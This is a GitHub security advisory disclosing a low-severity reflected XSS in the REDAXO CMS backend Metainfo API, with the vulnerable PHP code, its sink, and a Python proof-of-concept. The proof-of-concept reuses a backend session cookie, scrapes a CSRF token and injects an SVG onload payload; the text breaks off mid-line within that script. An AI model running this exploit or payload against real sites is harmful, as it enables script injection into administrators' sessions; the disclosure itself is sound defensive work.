GitHub Security Advisory: GHSA-m662-8jrj-cw6v
Package: redaxo/source (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 5.21.0
Patched in: 5.21.0

Summary: REDAXO has reflected XSS in backend Metainfo API via type parameter (CSRF token required)

Details:
### Summary

A **reflected XSS** vulnerability has been identified in the REDAXO backend. The `type` parameter is concatenated into an API error message and rendered without HTML escaping.

---

### Details

**Root cause**  
User input `type` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.

**Vulnerable code (`redaxo/src/addons/metainfo/lib/handler/api_default_fields.php`) :**
```php
$type = rex_get('type', 'string');
throw new rex_api_exception(sprintf('metainfo type "%s" does not have default field.', $type));
```

**Sink (`redaxo/src/core/lib/view.php`) :**
```php
return '<div class="' . $cssClassMessage . '">' . $message . '</div>';
```

**Data flow source -> sink**
- Source : `type` (GET)
- Propagation : concatenated into the exception message
- Sink : rendered via `rex_view::error()` -> `rex_view::message()` without escaping

**Authentication required :** yes (backend session)

---

### PoC -  exploit

```python
#!/usr/bin/env python3
import re
import urllib.parse
import requests

TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx"
VERIFY_SSL = False
TIMEOUT = 15

PAYLOAD = '\"><svg/onload=alert("pwned")>'


def build_backend_url() -> str:
    base = TARGET_URL.rstrip("/")
    return f"{base}/{BACKEND_PATH.lstrip('/')}"


def extract_api_csrf(html_text: str) -> str:
    m = re.search(r'rex-api-call=metainfo_default_fields_create[^"\']+', html_text)
    if not m:
        raise RuntimeError("Could not find the metainfo_default_fields_create API link in the page HTML.")
    fragment = m.group(0).replace("&amp;", "&")
    token_match = re.search(r"_csrf_token=([^&]+)", fragment)
    if not token_match:
        raise RuntimeError("CSRF token for metainfo_default_fields_create was not found in the extracted link.")
    return token_match.group(1)

def set_session_cookie(session: requests.Session) -> None:
    parsed = urllib.parse.urlparse(TARGET_URL)
    if parsed.hostname:
        session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")


def main() -> None:
    backend_url = build_backend_url()

    s = requests.Session()
    set_session_cookie(s)

    # Admin backend session required
    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
    if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
        print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
        return

    r = s.get(backend_url, params={"page": "metainfo/articles"}, timeout=TIMEOUT, verify=VERIFY_SSL)
    if r.status_code != 200:
        print(f"[!] Failed to access metainfo page (HTTP {r.status_code}).")
        return

    api_token = extract_api_csrf(r.text)

    params = {
        "page": "metainfo/articles",
        "rex-api-call": "metainfo_default_fields_create",
        "type": PAYLOAD,
        "_csrf_token": api_token,
    }

    exploit_url = f"{back